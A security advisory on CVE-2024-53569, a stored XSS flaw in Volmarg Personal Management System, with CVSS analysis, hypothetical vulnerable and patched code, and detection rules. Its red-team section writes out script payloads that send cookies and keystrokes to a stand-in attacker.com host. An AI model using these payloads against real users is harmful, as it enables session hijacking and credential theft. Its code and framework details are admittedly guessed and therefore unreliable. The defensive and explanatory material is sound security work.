CVE-2024-53569

Executive Summary

CVE-2024-53569 is a stored cross-site scripting (XSS) vulnerability discovered in the New Goal Creation section of Volmarg Personal Management System v1.4.65. An authenticated attacker can inject arbitrary web scripts or HTML via the description parameter, leading to persistent client-side attacks against other users. The vulnerability has a CVSS v3.1 base score of 5.4 (Medium), with a vector string of CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N. No official patch has been released, and no public exploit code or Nuclei template is available at this time. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for targeted attacks.

Supply Chain & Package Security

This application is a Python-based personal management system (likely using Flask or Django). The vulnerability resides in the application’s own code, not in a third-party package. However, if the application is distributed via PyPI or a similar registry, supply chain risks include:

• Dependency confusion: Attackers could upload a malicious package with a similar name.
• Compromised dependencies: If any dependency has a known vulnerability, it could be leveraged alongside this XSS.
• Integrity verification: Ensure the application’s source is verified via checksums or signed commits.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network – the vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): Low – attacker must be authenticated.
• User Interaction (UI): Required – victim must view the malicious goal.
• Scope (S): Changed – impact extends beyond the vulnerable component.
• Confidentiality (C): Low – limited data exposure.
• Integrity (I): Low – limited data modification.
• Availability (A): None – no denial of service.

Threat Level: Medium. The requirement for authentication reduces the attack surface, but once inside, the attacker can persistently compromise other users.

Deep Dive & Mechanics

The vulnerability exists in the goal creation functionality. When a user creates a new goal, the description field is stored in the database without proper sanitization or encoding. When another user views the goal, the malicious payload is rendered in the browser, executing arbitrary JavaScript.

Root Cause: The application fails to escape user input before rendering it in HTML context. This is a classic stored XSS flaw.

Attack Flow:

1. Attacker authenticates to the application.
2. Attacker navigates to the New Goal Creation page.
3. Attacker injects a payload like <script>alert('XSS')</script> into the description parameter.
4. The payload is stored in the database.
5. Victim user views the goal page.
6. The payload executes in the victim’s browser, potentially stealing session cookies, redirecting to phishing pages, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (v1.4.65):

# views.py (hypothetical)
def create_goal(request):
    if request.method == 'POST':
        description = request.POST.get('description')
        # No sanitization
        Goal.objects.create(description=description)
        return redirect('goals')

Patched Code (hypothetical):

# views.py (patched)
import bleach

def create_goal(request):
    if request.method == 'POST':
        description = request.POST.get('description')
        # Sanitize input
        clean_description = bleach.clean(description, tags=[], strip=True)
        Goal.objects.create(description=clean_description)
        return redirect('goals')

The patch uses the bleach library to strip all HTML tags, preventing XSS. Alternatively, proper output encoding in the template (e.g., using {{ description|escape }} in Django) would also mitigate the issue.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a running instance of Volmarg Personal Management System v1.4.65.
• Valid user credentials.

Exploit Steps:

1. Log in to the application.
2. Navigate to the New Goal Creation page.
3. Inject the following payload into the description field:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Submit the goal.
5. When another user views the goal, their cookies are exfiltrated.

Alternative Payloads:

• Session hijacking: <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
• Keylogging: <script>document.onkeypress=function(e){fetch('https://attacker.com/key?k='+e.key)}</script>

Blue Team

Detection:

• Monitor for unusual description fields containing <script> tags or event handlers.
• Use WAF rules to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search logs for POST requests to /goals/create with suspicious payloads.
• Review database entries for HTML content in the description column.

Lab Setup:

1. Deploy a vulnerable instance using Docker:

   docker run -d -p 8080:80 volmarg/personal-management-system:1.4.65
   

2. Access the application at http://localhost:8080.
3. Create a test user and goal with a benign XSS payload to verify the vulnerability.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to attacker-controlled domains containing ?cookie= or similar parameters.
  • Suspicious POST requests to /goals/create with HTML/JavaScript in the description field.
• Host:
  • Database entries in the goals table with description containing <script> tags.
  • Web server logs showing repeated access to goal pages with unusual query strings.
• File:
  • No file-based IOCs expected, as this is a server-side stored XSS.

Detection Engineering

YARA Rule

rule Detect_Stored_XSS_Description {
    meta:
        description = "Detects stored XSS payloads in goal descriptions"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-53569"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['"].*?['"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Goal Description
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts via the description parameter in goal creation
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/goals/create'
        cs-uri-query|contains: 'description='
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-53569 Stored XSS Goal Description"; flow:to_server,established; content:"POST"; http_method; content:"/goals/create"; http_uri; content:"description="; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Sanitization: Implement server-side sanitization using a library like bleach or html-sanitizer to strip dangerous HTML tags.
2. Output Encoding: Ensure all user-supplied data is properly escaped when rendered in HTML context (e.g., using Django’s {{ value|escape }} or Flask’s {{ value|e }}).
3. Content Security Policy: Add a CSP header to restrict script execution:

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

Long-Term Fixes:

• Upgrade to a patched version once available.
• Conduct a security audit of all user input fields.
• Implement a Web Application Firewall (WAF) with XSS rules.

Workarounds:

• Disable the goal creation feature if not essential.
• Restrict access to the application to trusted users only.

Valters IT – Securing your digital frontier.